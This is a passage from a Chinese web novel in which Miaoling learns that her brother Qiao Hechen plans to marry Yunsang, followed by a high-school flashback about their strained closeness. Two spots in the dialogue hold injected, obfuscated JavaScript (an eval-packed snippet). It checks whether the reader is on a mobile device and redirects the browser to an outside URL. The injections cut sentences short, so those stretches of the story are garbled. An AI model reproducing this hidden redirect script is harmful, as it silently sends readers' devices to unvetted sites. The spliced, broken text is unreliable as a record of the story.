他手上力度很轻,声音也轻,笑的时候气息喷洒在妙零脖颈上,视线也流连在她脸上,乍看是一副很是宠溺深情的模样,妙零被看得定在原地,反应过来才用力去推他:“看我耳洞干嘛!” 这一下推在乔贺沉肩膀前,明明花了很大力气,在乔贺沉那儿却跟猫爪子轻轻挠了一下似的,这样一挠,他笑得更开了,五官也跟着愈发生动起来,“看了肯定是有用处,不然无缘无故看你耳朵干嘛?”说着一俯身又凑过去,一只手握住她肩膀不让她动,另一只手轻轻扯住她耳垂上一点肉,歪过头,顿了一顿,紧跟着冲她耳垂轻轻吹了口气。 妙零起初只是发怔,那股温热的气息在她耳朵边散开,直往她耳后的皮肤上钻,也往她衣领里钻,钻得她发痒,钻得她脖子也发起烫来,可这并不算什么,更重要的是,她哥刚才凑得很近,像是没把握好距离,嘴唇直挨到了她耳垂上,很短暂的一下,短暂到妙零怀疑是不是自己产生了错觉,她有一瞬快要喘不过气来,紧跟着又有一股火往上冒,她一时说不清是为了什么,只是本能地把她哥一推,自己则弯腰往后坐,一下子坐到了柜子里的衣服上,气呼呼说道:“你、你就不会直接问我!而且这、这耳洞一看就还通着……” 乔贺沉像是不太理解她为什么这么大反应,愣了一愣说:“看看怎么了?以前不总是让我帮你看么?” 以前是以前,现在肯定不一样了,可见她哥仍然是一副对刚才的举动不甚在意的样子,妙零就说不出话了。 “你过来。”乔贺沉又冲她示意一下。 “干嘛呀?!”她现在变得十分警惕了,坐着没动。 她不动,乔贺沉就自己动,从桌上拿了个盒子过来,妙零一路看着,已经猜到盒子里装的会是什么。 “喏,戴上试试。”乔贺沉半蹲到她面前,把盒子递给她。 妙零心里还有气,别开头并不接。 “不喜欢?”乔贺沉又往她身前递,“都还没看呢。” 妙零还是不接。 “真不要啊,”乔贺沉脸上发起愁来,自己把盒子打开了,“这看着还不错吧,我挑了大半天呢。”他递了第三次,“你看看,我记得以前你喜欢戴那种长的,现在总戴耳钉,难道是我搞错了?你还是喜欢长的?”停了停又说:“那我拿去退了?啊不行,退不了了,纽约买的,那我自己戴吧。” 他自顾自把话都给说完了,又要把盒子给盖上,被妙零猛地一伸手挡住,“这是女款的,你戴干嘛?” “女款怎么了?以前你不就经常要我跟着你一起戴?一人一只,戴的还少么?”他把盒子往旁边一扬,“我还就要戴了!” “不行!”妙零也还就要跟他抢了,“你给我买的,那就是我的!” “你不是不要么?”他扬得更高了。 “谁说我不要了!”妙零抢不着,恼怒道:“你快给我!” “你又不喜欢,给了你你也不戴,还不如我自己留着。” “谁说我不戴了!”妙零这回轻易就抢了过来,刚才她其实已经看清楚了,耳钉上是两只不同体态的猫,这并不意外,她一直就喜欢有猫的东西,她哥看到合适的也会给她买,反正她怎么都不嫌多。 “好看?”乔贺沉看着她问。 “一般吧。”妙零嘴硬。 “就一般啊?”乔贺沉露出失落状,“早知道选另一款了,看来我们都选错了。” 妙零一愣,一脸疑惑地看过去,乔贺沉解释道:“我不知道选哪款,拍照给云桑看,我俩一致觉得这个更好。” “……”妙零有一会儿没说话,但也只是短暂的一会儿,“噢,这个好看的呀!有猫的我都特别喜欢!” 她站起身来,“吃饭了,不然上班要迟到了!” “欸,”乔贺沉又把她喊住,指指面前两件外套,“哪件好?” “……都好啊。”妙零一心想着快离开这儿。 “是都好,可我是问,待会儿要见女朋友,穿哪件更合适。” 妙零不自觉地将手里的盒子攥紧,“左边那件。” “不会太亮了?” “那就右边啊。” “这件搭红色有点奇怪吧?”他两相斟酌着,很是苦恼的样子,最后都没拿,而是另选了一件,“还是这件吧,头发呢?这个发型会不会奇怪?” “……我不知道!”妙零转身就往外走,“我喊妈来给你看!” 她几乎是跑着出去的,可才刚出门就碰到她妈过来。 “正要喊你们呢,”孔韵怜看着女儿的脸色不太对,“这又是怎么了?吵架了?” “哪里吵架啦?”妙零避着眼神不让她妈看自己,“哥喊你,你快去给他看看。” 她话没来得及说清楚,也不想再说了,径直回了自己房间,隔会儿背着包出来,往桌上拿了块三明治就要走,刚才想的理由现在倒派上了用场,一解释完她就着急忙慌往外去,还在换着鞋,身后传来她妈的声音:“阿喵怎么这就走了?” 乔林替她解释了,另一道声音又紧跟着响起:“打车去?我也这会儿走,孔妙零你等会儿。” “你都还没吃饭呢!”妙零低着头迅速把鞋换好,推开门就要走了,乔贺沉却已经跟上来,“我不在家吃,跟云桑约好了一块儿吃的。” “是跟云桑见面啊?”乔林跟着兄妹俩出来,手里还拿着匆忙装好的三明治,一听儿子的话就笑了,“是要见见了,你也是,早说的话我就做点别的,你好带给云桑尝尝。” “改天吧,又不是没机会了。” “是是,你俩这也是很久没见了吧?不过路上也别开太快了啊。”乔林尽情开着儿子的玩笑。 乔贺沉迅速换好了鞋,冲他爸妈笑:“昨天见过了,她去接的机。” 乔林简直乐开了花:“好好好,那你先把阿喵送去公司,她事情急。” “知道了。” 乔贺沉出了门,一路跟在妙零后头,妙零一声不吭走得飞快,到了车子旁停下,“我打会儿游戏,坐后面。” “坐前面也不影响。” “我就要坐后面,”妙零一脸执拗,始终不看她哥,“爸开车我也坐后头!” 她家开车的惯例是这样,男士往前坐,女士往后坐,后面有位置的时候男士也能往后坐。坐后头更安全。 妙零如愿上了车,低头就要上游戏,可发现车子并没有开出去,抬头一看,她哥坐着没动,看着也没有要动的意思。 “……怎么啦?”妙零试探着问。 乔贺沉回过头来,脸色有些严肃:“不想跟我说话?” “……什么呀,我、我每天都要打游戏的,有急事也要打……” 乔贺沉一听脸色松动了些:“还以为你不想跟我说话呢,昨晚也跑那么快,都没说上几句话就回房间了。那打吧,到了我喊你。” 车子稳稳地开出去,妙零却没看手机,她先是看了会儿窗外,努力平复了心情,就看去了前头:“你要聊什么嘛……” 她声音低得很,乔贺沉却还是听见了,他笑了下:“也不是非要聊什么,想到哪儿就聊哪儿……公司有什么急事?供应商怎么了?” 这第一个问题就要求动脑,妙零飞快编出一个理由来:“噢,有个供应商这两天来中国旅游,我们领导就请人家来公司参观参观嘛,本来约好了十点的,她刚才说九点就能到。” “你负责接待?” “对啊,这个供应商是美国人,但小时候在日本生活了很久,英语口音特别重,我们经理适应了很久也听不太懂她在说什么,有几次开视频会就把我喊上了,我一开始也是连蒙带猜,后来听多了就没什么障碍了,我们经理就干脆把她交给我来对接了。” 妙零这些话都是真的,这个供应商叫阿莎那,是她的伊朗籍外婆给取的名字。四十来岁的阿莎那是个切切实实的工作狂,每天就差一天二十四小时全程在线,听说她一年到头都不休假,这次竟会放下工作来中国旅游,而且一来就要待上两个月。 妙零顺着阿莎那跟她哥说了几件工作上的事,她话匣子一开就是个名副其实的话痨,乔贺沉想要插话都够呛,话痨就这么说了一路,然后开开心心在公司前头下了车。 她今天确实要接待阿莎那,可阿莎那是十点准时到的,妙零接待完,又负责当一天导游,晚上刚把阿莎那送回青旅,就接到她们经理电话,说有工作要谈,让她去她们公司前头那家新开的阿拉伯餐厅碰面。 “噢好,就我一个人吗?” “小董也来的,待会儿我就给她电话,你打车过来吧。” 妙零也就打车过去,她本来要跟姜俞西一块儿来试吃的,没想到自己先来了,到了餐厅她先对着菜单拍了张照,发去给姜俞西:“有没有要吃的?我给你打包。” 姜俞西回得很快:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14283376|151945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以啊,不过闪送的我不吃,我就要你送的。” 妙零一看笑了:“本来就要给你送的。” “真的假的?你哥不是回来了?你还有时间给我送饭啊?” “你怎么知道我哥回来了?” “你还说呢,你都不跟我说,我还是从校友群里看到的。” “我哥突然回来的嘛,昨天吓我一跳,都来不及说呢。” 妙零撒了个小谎,好在姜俞西并不在意:“好嘛好嘛,我猜也是这样,所以都没问你咯,我们阿喵乐开花了吧,都乐得来骗我要给我送饭!!!” “真要给你送呀,我不仅要送,还要陪你一起吃,吃完再陪你睡觉!你说我好不好?” “什么情况啊!你哥回来了你还有时间来找我??” “有事跟你说啦!”知道姜俞西不好糊弄,妙零故意把谎话往神神秘秘里说,“很重要的事,晚上你就知道了。” “行嘛,不过我还在图书馆,闭馆后才回去,得再把我的简历改改。我们阿喵自己先过去哈,阿拉伯菜就别打包了,晚上我们叫外卖。” 妙零说好,没再打扰她,收了手机继续等对面的郑经理忙完,郑经理忙了一会儿总算放下手机,说:“小董来不了了,有个资料比较急,我让她先写去了,本来我是要跟你们商量这俩客户怎么分配,既然现在她先负责了一个,那明天就你跟我去见另一个客户吧,来,动叉子,我们边吃边聊。” 说是要聊,三两句也就聊完了,跟以往的工作没任何区别,郑经理一边说着一边给妙零夹了菜:“妙零啊,我记得你还没拿到CPPM吧?” 妙零笑了笑:“经理,考这个要两年工作经验,我还没满足条件呢。” “研究生不是没有工作经验要求的么?” 妙零忘了自己是第几次提醒,但一定是三次以上了:“经理,我是本科学历。” 郑经理差一点就要把自己的脑袋拍破了:“瞧我这记性,你跟我说过好几回了吧?”他表情里透露出百分之两百的诚挚歉意,“以前人事给招的助理都是研究生,我记习惯了,一时半会儿拐不过弯来。” 妙零没说话,当初人事找她谈的时候,她颇有些受宠若惊,刚入行一个月的小菜鸟,要说表现得多优秀也很有限,部门里学历比她高的一抓好几个,怎么也不该轮到她这个新人头上,但人事说是郑经理直接点了她的名,认为她很有发展潜力,不妨给个机会重点培养一下。机会送上门来,妙零没有拒绝的理由,服从安排过来了。 郑经理年纪轻轻,只比妙零大了三四岁,业务能力却没得说,平常对下属更是一句重话也没有,还没说话笑容就摆好了:“你可能不知道,当初人事还不同意我用你,其实工作久了,就知道学历什么的不是问题,我看你平时办事踏实勤恳,不像其他人那么浮躁,所以还是力排众议把你要来了,事实也证明你不负众望,业绩数一数二,快赶上我前几位助理的成绩了!” 妙零配合着笑了,一顿饭吃完,郑经理说顺路要送她,她忙说自己约了人,郑经理微笑道:“这么晚还约了人啊,男朋友?我怎么听说你没男朋友的?” 妙零并不解释,打了招呼就坐上出租车,她是真的约了人,不过姜俞西不算,她约的是租房中介。 地方她看好了,就在高科技园区周围那片,那一片房源多,中介也极其热情,大半天里就给她发了好几处房子的视频,妙零一一点开看过了,最终只去看了三处,这三处也都不是中介给她推荐的,而是她自己提前看好的。三处房子看完,她心里已经有了计较,但没有透露给中介。 不用太急,缓上一缓,还有降价的可能,这是家里教的。 但这不是妙零不说的理由,而是她还要考虑通勤的距离。 中介倒也不催着签合同:“这里离你上班的地方还挺远的,你要不要找个时间看看你公司附近的房子?价格跟这边差不了多少。” 妙零礼貌摇头:“还是不看了,我马上要换工作,到时候就往这边找。” “这样啊!那敢情好,这边岗位多着呢!” 妙零就是看中这边既离家远,工作机会也多,而且姜俞西家就住这附近,姜俞西最近面试的工作大部分也在这边,所以她住来这边再合适不过了。 等这周末密集面试过,工作确定下来,也就能把房子定了。 换工作,租房子,妙零这些决定做得急,昨晚上有的苗头,今天早上坚定了想法,就立马找空约了中介,到现在看来,并没有不顺的地方。 她从小区里出来,想着去给姜俞西买点宵夜,兜里手机震了震。 是她哥,问她现在在哪儿,他刚跟朋友吃完饭,说要过来接她。 妙零一早就跟家里说了要加班,今晚不回家住的事则是看房子前电话里头跟她妈说的,她哥才回来,她就要往外跑,她妈自然多问了两句,可也没拦她。 妙零看着手机里的消息,隔了一会儿才回:“我今晚住俞西那儿,俞西有事儿找我,我跟妈说过了,哥你直接回家吧。” 乔贺沉没有回。 他直接打了电话过来。 妙零往外走两步,接通电话:“怎么啦?消息你看到没啊?” 她哥语气听起来很平静:“嗯,看到了,妈也跟我说了你不回家。” 她嘴上不满:“那你还说来接我,逗我玩儿呢?” 乔贺沉有一会儿没说话,妙零正要开口问他在不在听,他忽然喊了她。 他喊她跟其他人不一样,其他人喊她“阿喵”就算很亲近了,他则省掉前面那个字,只喊她“喵”。他并不常这样喊,两个人吵架了,他来求和的时候会用很温柔的语调冲她喊出这一个字,又或者来捏她脸的时候,有很重要的话要说的时候,总之一定是在一个很亲密的时刻,每次只要他这样一喊,她就会格外听得认真。 这次他用的仍然是同样的语调,但凝重了许多,他说:“喵,你还在怪我,对么?” 妙零愣了一愣,沉默了。 她怪他么? 可能怪过的吧,可是怪的又是什么呢?她说不好,只用怪这个词好像也完全说不清楚。 她张了张嘴想要笑着问回去,却怎么也开不了口,只听对面她哥又说:“喵,以前的事是我不好,是我头脑发热一时想错了,你能原谅我么?” 妙零坐到了身后的马路牙子上,脸上冰冰凉一片,直蔓延到下巴上,她疑惑地笑了一声:“你在说什么呀?我怎么都听不懂?” “你听懂了的,喵。” “我真没听懂!!哎呀别说这个啦,我原谅你了还不行?我现在要去买宵夜,都快饿死了,还要送去跟俞西一块儿吃。我挂啦?” “先别挂,”那头乔贺沉像是无奈地轻叹了一口气:“那我就当你真的原谅我了,以后那件事再也不提了。” “好啦好啦!我真挂啦!” “等等,喵,”乔贺沉喊住她,“你朋友的事儿急么?” 妙零听出他话里的意思,犹豫了下:“怎么啦?就,也不算很急吧……” “那你还是回家来吧,我来接你。” 妙零不解的同时,心莫名地往下沉:“到底怎么啦?” “有事要跟你还有爸妈说。” 妙零顿了顿问:“什么事呀?非要今天晚上说?” 乔贺沉也顿了一顿,说:“我跟云桑结婚的事。” 妙零一怔,彻底愣住不动了。 7. 4杯银子弹 她哥这一句话说得相当平静,平静里又带着一点隐藏不住的笑意,他越是想要藏住笑,就说明他越是高兴,这一点,妙零再清楚不过了。 她哥要结婚了,这是家里的大事,是要一家人坐在一起讨论商量的大事,妙零要是缺席就有点说不过去了,她也再找不出其他不回家的借口。 她没让她哥来接,自己招了一辆出租,在车上她给姜俞西发了消息,说临时有事不去她那边住了。 不知道是不是车里暖气开得太足,又闷,坐上车后妙零就有点发晕,想吐,半路上实在撑不住,下了车却又吐不出来。她往嘴里塞了好几颗糖,一路上靠在车窗上,闭着眼睛不动,直到前头司机一脸关切地问她停小区哪个门。 “东——”她及时止住,改口说:“南门吧,谢谢。” 零食店她昨天刚来过,软糖也买得够多了,可她还是径直去了货架前,拎起一袋足有6磅的黑森林,结了账坐到店里靠窗的长条桌旁。 她往桌面上铺一张纸巾,拆开黑森林,把小熊形状的软糖一颗颗拿出来,按颜色排成6行,黄色的是柠檬味,白色菠萝,青色苹果……摆不下之后又挨着加一张纸巾。 以前每买一袋她都要这么干,数每种颜色的数量,再记录下来和以前的作对比。哥就总说她要是把这份力气花在学习上,也不至于不敢把成绩单给爸妈看。她则说他不懂乐趣,不解风情,只知道学习打球玩游戏,没劲! 他不甘心,往她旁边一坐,问她知不知道小熊数列,他把那些小熊软糖两两组合,摆出树状图,一对生一对,一对又生另一对,她不乐意听,捂住耳朵开始抗议,嘴里啊啊啊啊地干扰他,他被吵到了,说这是人家小学生都会的题。她可不会受到打击,说那又怎样,又不影响她吃嘛嘛香身体倍儿棒。她哥见她烂泥扶不上墙,说这是高考考点,她翻着白眼,说瞧不起谁呢,兔子数列嘛,老师上课讲过! 然而几分钟后,她对着她哥临时给她出的那道题抓耳挠腮,可嘴上是不可能落下风的,厚着脸皮说:“我只说老师讲过,没说我听懂了,怪不得你语文最差,听不懂人话!” 她哥也没生气,问她:“我语文最差110,你多少?” “嗯,期中考试没及格咯。” “是谁更听不懂人话?” “……是区区在下我咯。” “那刚才你怎么说的?” “不蒸馒头争口气咯!” 她哥被她气笑了,这一笑就不走了,赖她房间里,还占她的床。她那时一直觉得她哥有两个人格,其中一个人格嫌弃她嫌弃得要死,见了她冷漠得跟冰棺一样,另一个则喜欢来黏她,黏完还老要发火,好像跟她待在一起是什么很丢脸的事儿,这两个人格他切换起来过于顺畅,最后烦恼的却都是她。她哥冷漠的时候,她烦,黏人的时候她也觉得烦——她坐在桌前数软糖,他就在她耳边叨叨叨,念经一样,时不时打断她的思路,害她数好多遍才数清楚。 这一次,妙零只一回就数明白了,看看店里墙上的时钟,已经十点多了。不能再拖了。 她把软糖全部装回袋子里,出来的时候看到姜俞西给她回了消息,她一会儿说去找她一会儿又说不去,姜俞西估计懵了,一如既往问得直接:“好事坏事?” 好事还是坏事? 当然是好事,还是大好事。她都能想象到爸听到消息后的反应,一定是想要大笑,又想要努力端住大人的架子,可最终肯定是忍不住要喜笑颜开的,而妈就要更内敛得多,可这一次,再内敛也藏不住的吧。 妙零站在门前按门铃,不出一会儿,她爸就过来给她开了门,显然是专在等着她回来,脸上又急又激动:“我们阿喵回来啦!快来快来,你哥说有事儿要跟我们商量,又一点口风都不透,可把我急坏了!” 孔韵怜见了他这副样子乐得直摇头,冲旁边的儿子笑:“你赶紧说了吧,你看你爸急的,跟个陀螺一样,这一会儿就没消停下来过,来阿喵,坐这儿来!” 妙零坐去她妈身边,伸手拿了小零食来吃,咯吱咯吱像只兔子,她爸则哼哧哼哧像只毛躁的狒狒:“我能不急吗?上回儿子这么郑重其事,说的是出国的事儿,我寻思着,这回肯定是比出国的事儿还要大吧?赶紧赶紧,人都到齐了。” 乔贺沉顿了顿,说:“要不孔妙零还是你来说吧。” 妙零吃东西的动作顿住,从进门后她就一直没看她哥,这会儿不得不看过去,于是意外地发现,她哥看起来像是有点紧张,又像是有点不好意思,要知道他从来都是自信从容的,极少露出这样的表情来。 “阿喵已经知道了呀?!”乔林在旁边露出惊讶状。 “啊?”妙零把嘴里的东西咽了,“噢,哥刚才电话里跟我说了,不过也就说了一句……” “一句什么?”连孔韵怜都有些催的意思了。 “他说……干嘛要我说呀!”妙零不乐意地跺了一下脚,看向乔贺沉,“这事儿不是该你自己来嘛!” “就是就是,你赶紧地!”乔林一秒钟也等不得了。 “那我就说了,”乔贺沉这次是完全做好了要说的准备,他一一看过其他三人,最后目光在妙零脸上顿了一顿,妙零眼看着他就要开口,忽地抢在他前头:“哎呀还是我来说吧,哥说他要结婚了!” 结婚…… 这是妙零今晚上第二次听到这个词,前一次是从她哥那里听来的,这一次则是从她自己嘴里说出来的,可即便是她自己亲口说的,她也没有任何一点实感,然而其他人的反应又都是真真切切的。 这也在她的意料之中,结婚在哪家都是大事,是喜事,当爸妈的听说儿子要结婚了,必然是惊喜激动,尤其是她爸,从一只毛毛躁躁的狒狒变成了一只摇头摆尾的海豚。 海豚要兴奋坏了,可同时也被吓着了,儿子交了女朋友,现在都准备结婚了,可他连儿媳妇的面儿都还没见过,更不论家庭背景,具体做什么工作的,这些他都一概不知。 以前问起来,儿子总不太乐意聊,他也理解,年轻人嘛,都不爱家长过多干涉,谈恋爱这个事儿也说不准,分分合合的都很正常。他原本也没怎么放在心上,可儿子这恋爱一谈就是这么久,也从没听他说过哪里有不合的,他私下里就跟妻子说,搞不好儿子是个痴情种,只谈这一次恋爱,以后就奔着结婚去了。聊归聊,玩笑的成分居多,可没想到现在玩笑成了真,儿子真要结婚了。 可怎么这么突然就决定要结?又要怎么结?什么时候结?这些都是问题。 “我们商量过了,上半年是来不及了,工作都很忙,就打算定在暑假,”乔贺沉不似刚才那样拘谨了,不紧不慢说道:“顺便还有个事儿,云桑不是跟我同一个专业么,她去年回来办了工作室,主要是做品牌战略咨询这一块,我们之前就说好了,工作室肯定是要做大,这次我回来就去她那儿,成立一条新的业务线,不过跟我在纽约做的不一样,这次不做分析和优化了,改做数字化营销。” “这是改执行了!”乔林简单总结道,“那确实是没时间,又是新的部门,又是新的工作,你们俩肯定忙不过来。” 乔贺沉点了下头:“暑假应该差不多能稳定下来了。” “暑假好啊,不冷!”乔林这会儿慢慢平复了心情,“可是儿子啊,你这个事儿办得真有点不妥了,你就说吧,什么时候能让我们先见上一面,啊?昨晚上你妈说让你们自己拿主意,我也想着是得尊重你们,可现在情况不一样了,再不见是不是就不合适了?我就一句话,就这两天,定个日子,你把云桑请来家里吃饭,还有,双方家长是不是也得见见?” “这两天……估计真不行,年前事儿多,她这段时间都熬夜加班呢,不过她说了,年前肯定来见你们。” 年前来见,那也就是这几个星期的事儿了,说长也不长,何况年前忙也是实打实,要理解也是可以理解的。孔韵怜想了想问:“那照片呢?照片总能先看看?” 乔林也跟着催,乔贺沉便从手机里翻出了照片,照片传来传去,最后传到妙零手里,妙零低头看过去,照片里的人并不算眼生,是个很时髦很靓丽的女孩儿,也很高,歪着头靠在她哥肩膀上,笑得十分明媚。 “真漂亮。”妙零对着照片感叹。 孔韵怜挨过来又仔仔细细地看,真心实意地夸了好几句,乔林跟着附和,也追问了儿子好几句,性格啊身高啊等等,紧跟着又一拍脑袋:“还有房子的事儿呢!” “我正要说呢,”乔贺沉接过话头,“房子我已经买好了,也装好了,现在就差几样家具,随时能住进去。” 他说得云淡风轻,把买房子说得跟买了个蛋糕一样简单,可这蛋糕到底是枚炸弹,扔出来让人措手不及。 “什么时候买的?怎么没听你说呢?”乔林一晚上受两回惊吓,已然是没有太多惊讶的表情来应对了,谁让是自己儿子呢,真就是闷声办大事到底了,一点儿不给人心理准备的,可除了受着还能怎么着呢。 “去年不是回来了一趟么,就那时候看好的。”乔贺沉解释道。 乔林心想原来是那回,说起来那回也是又惊又喜,儿子好久不回家,前脚说忙得没时间,后脚悄不声息地就回来了,嘴上说是回来度假的,那会儿他就觉得蹊跷,猜想着儿子不可能无缘无故回来,现在想来,估计就是为了房子的事儿了。 孔韵怜也记得清楚,那会儿是三月份,在那之前,她总觉得儿子在外头过得不大开心,像是有什么事儿压着,可从那次回来之后,他电话打得勤了,整个人精神面貌也大变样,既然他说那次回来看好了房子,那多半是跟房子有关。 她问:“怎么就想着买房子了?那会儿你也没决定要回来,说是要在纽约多工作几年的。” “那会儿是没想好,”乔贺沉看着又有点不好意思了,“房子……也没想那么多,就是打算买下来……做婚房的。” 孔韵怜一听算是想明白了,不开心估计是因为异地恋,隔着那么远,跟女朋友的感情总归会出些问题,后来决定买婚房,那就意味着感情已经稳定下来了,稳定了那人自然也跟着高兴了。 “我说儿子,你这嘴也太严了!”乔林笑得很是无奈,“那房子买在哪儿呢?你自己就能拿得出那么多钱来?” “房子不大,首付也不多,装修是让席安帮忙盯的,他学建筑的么,知道怎么弄,”乔贺沉一一解释,“就买在高新科技园那边,云桑的工作室也在那儿。” “那边好啊!”乔林向来不怀疑儿子的眼光,他做的决定也总是让人挑不出错,“先前我跟你妈还想着在那边买一套呢,阿喵不就老说那边很宜居么,水多,人少,空气好,俞西也说住那边挺不错的,而且你说云桑工作室在那边,你也要在那上班,那就直接住新房子里,也不用天天来回跑这么老远了。” 乔林说着“欸”一声,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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妙零脑袋里一团浆糊,堵得她胸口都在发闷,她想要站起身来,又发现脚已经麻了,她挣扎着去扶旁边的墙面,刚伸出手去,胳膊忽然被人用力托住,回头一看,乔贺沉正蹙眉望着她:“又发什么呆呢?” 妙零垂下眼眸:“没发呆……你怎么来了?” “见你下来这么久,爸妈不放心,让我来看看。” “哦,”妙零吸着鼻子,“好冷啊,正准备回去呢。” “知道冷还在外面待这么久,”乔贺沉的脸色看起来并不太好,“眼睛鼻子都冻红了,”又去看她的脚,“看看能不能走。” “能呀!”她抽回胳膊,忍着麻痛不自然地跨了两步。 乔贺沉“啧”了一声,然后蹲下身去,妙零下意识想要往后退,松开的鞋带已经被她哥攥在了手里,她立马急了:“哎呀我自己来!” 她忙往下蹲,太急,一下子撞在她哥额头上,清脆的一声响后,她痛得连眼泪都飙了出来,又忙把鼻子捂住,她弯着腰,被乔贺沉托着站起来,乔贺沉黑着一张脸,把她手拿开,俯下身要来看她鼻子,她立马别开头躲开了。 “我看看。” 妙零不给看。 “我看看。” 妙零还是不给。 “孔妙零,”乔贺沉垂眼看她,“你到底怎么想的?” 妙零愣了愣。 “问你怎么想的。”乔贺沉语气算得上严厉了。 “我……我就……”妙零疼得泪眼模糊,“我就,我就是痛啊!” “……”乔贺沉有一会儿没说话,很快又强硬地把她脸转过来,“痛还不给看。” 他直接捏住她下巴,下一刻就要来摸她鼻子,妙零立马往后退:“你干嘛呀!不痛了都!” 乔贺沉没松手,跟上去一把摸上她鼻子:“我怕你鼻子断了,要破着相参加我的婚礼。” 妙零一听,当即就愣住不动了,乔贺沉也很快拿开手,说:“真不痛了?” 她发着愣,迟疑地摇了下头。 “你不痛我还痛呢,脑门上被你撞出个大包。” 妙零抬眼去看,果真看到他额头肿高了:“我,我又不是故——” 她话没说完,被人打断了。 “是妙零吗?是妙零吧?” 妙零忙回头,是楼里新来不久的邻居,五十来岁的阿姨,每天晚上要下来遛她那只爱狗,总是一副笑脸,见了妙零就爱跟她说话,这回远远地就喊:“哎呀妙零啊,我还以为我看错了呢,怎么都没跟阿姨说你交男朋友了呀!” 妙零一听傻了,不自觉跟她哥对视一眼,又转回头去要解释,那阿姨牵着狗走近了:“哎哟喂这么俊的小伙子,我就说给你介绍你总不要的——” “阿姨!”妙零直接给人打断了,“你误会了!这是,”她声音弱了下去,“这是我哥。” 那阿姨一听也傻眼了,忙赔个笑脸:“哎呀这大半夜的,我给看岔了,呵呵呵,这这这,原来是你哥哥呀,兄妹俩感情真好,亲的嘞!” 妙零不知该说什么,只跟着呵呵两声,回头又去看她哥,她哥跟刚才一样只是看着她,脸上意味不明,她又忙别开脸去。 妙零忽然觉得讽刺,觉得好笑,有一刻甚至都忘了疼。 事实上,这样的乌龙并不是第一次发生,早在高中的时候,她跟她哥就有很多次都被误认成是情侣。 8. 4杯蜜蜂膝盖 为了顺利升上高中,孔阿喵算是小小地费了一番功夫。 阿喵不爱读书,平常能偷懒就偷懒,但她又很有自知之明,知道自己这个成绩临时抱佛脚是来不及的,于是痛定思痛,每天早起背单词,中午总结每科的错题本,晚上睡前捋一捋必考的题型。她比以前认真多了,可她的认真又很有分寸,别人是想着考得越高分越好,她的目标是只要考上就好,多一分力气也是不愿意使的。 饶是如此,乔林看着女儿认真的模样还是心疼,生怕她睡不好吃不饱,每天给她炖这个煮那个,饭桌上总劝她要劳逸结合,千万别给累着了。 “应试教育应试教育,应付应付就可以了,有什么不会的别自己死磕,问问你哥,你哥的笔记本都还留那儿呢,有时间让他给你讲讲他总结的那些方法。”乔林知道女儿不爱读书,所以也从不逼着。 “我们老师说了,每个人都有适合自己的学习方法,别人的不一定有用,一定得自己去想,想了才能把题给吃透了。” “话是这么说嘛,你哥的笔记本好歹全班适用,看看也没坏处。” 阿喵低头扒饭:“我才不用他的!俞西已经把笔记本借我了,她的笔记也全班适用。” 乔林一脸讪讪,左看看女儿,右看看儿子,得,又一次劝和失败! 自从那个吻之后,一连很多天,妙零都没跟她哥说话,两人也不一块儿上下学,各走各的。 妙零很气,气她哥把自己推地上,她不过是亲了一下他的脸,他不给亲就算了,还那么大反应,好像她是什么洪水猛兽,明明一年前同样的事情发生的时候,妈严厉地说了她几句,他还觉得妈说重了,帮她说话来着,怎么现在就完全大变样了呢? 可与此同时,妙零也很慌,以前她亲她哥,都是因为她哥给她买了好吃的好玩的好用的,要不就是给她解决了什么大麻烦,她觉得她哥对她简直不要太好,嘴上把他夸得天花乱坠的,一边说着话,“全天下没有比你更好的哥哥了”,一边去亲他的脸。 可这回呢?如果一定要找出一个理由的话,也就是她突然觉得哥长得好看,就鬼迷心窍了一样想去亲他,想了也就真的去亲了,亲完之后,她自己有一刻也觉得不太好。妈总提醒她要跟哥保持距离,不能太黏他,很早的时候也就给她科普过性了,所以她再怎么跟哥亲近,心里也清楚不能越线,顶多挽他手,坐车的时候从后头抱住他,而亲脸这些举动是一定不能有的,可这次怎么就没忍住呢? 妙零很郁闷,体育课的时候有熟悉的男同学给她热牛奶,她没要,把人喊到一边,犹豫之后问他跟他姐姐亲不亲。他姐姐也读高二,学的文科,跟乔贺沉是上下楼同学。这位男同学正处于中二时期,对什么都嗤之以鼻,可一说起他姐姐就变了个样,总是一脸崇拜,满嘴的溢美之词。 “我跟我爸妈爷爷奶奶外公外婆都不亲,就跟我姐亲!” “是吧,我,”妙零心一横,说道:“我就说我上次好像看到你亲你姐姐了嘛!” 男生差点跳起来:“你看错了吧!什么时候?” “就、就前两天,课间操的时候。” “靠,怎么可能?我跟我姐这两天在学校就没碰过面,而且我怎么可能亲我姐啊,我连她手都没牵过!谁也不挨着谁!” “从来没牵过手?” “也不是,小时候肯定牵过啊,现在都多大了,男女授受不亲!” “那你还说你跟你姐亲呢。” “亲……亲是指关系亲,又不是说牵手这些,不过,”男生挠挠头,小声说道:“你别跟别人说啊,就是……有时候吧,我家来客人的时候住不下,我会跟我姐挤一晚。” “你们、你们睡一张床啊?” “对啊,又没什么,我姐还、我姐还总让我给她拿她里面穿的衣服呢,亲姐弟也没什么好介意的吧?我不把她当女的,她不把我当男的。你不是也有哥哥么?应该也是这种感觉吧?” “……对,对啊!” 妙零大松一口气,是这样的,就是这样的,她没把她哥当异性,所以想亲就亲了,又有什么错呢?就跟小时候一样,小时候她也觉得她哥长得好看,不也爱抱着他啃吗?家里都还有照片呢! 妙零这样一想,就没那么慌了,可心里还气着,所以冷战继续,跟她哥还是谁也不理谁。 她气得做笔记的时候下笔都恶狠狠地,就差把纸给戳破了,全身力气一用完,肚子就跟着咕咕叫了。 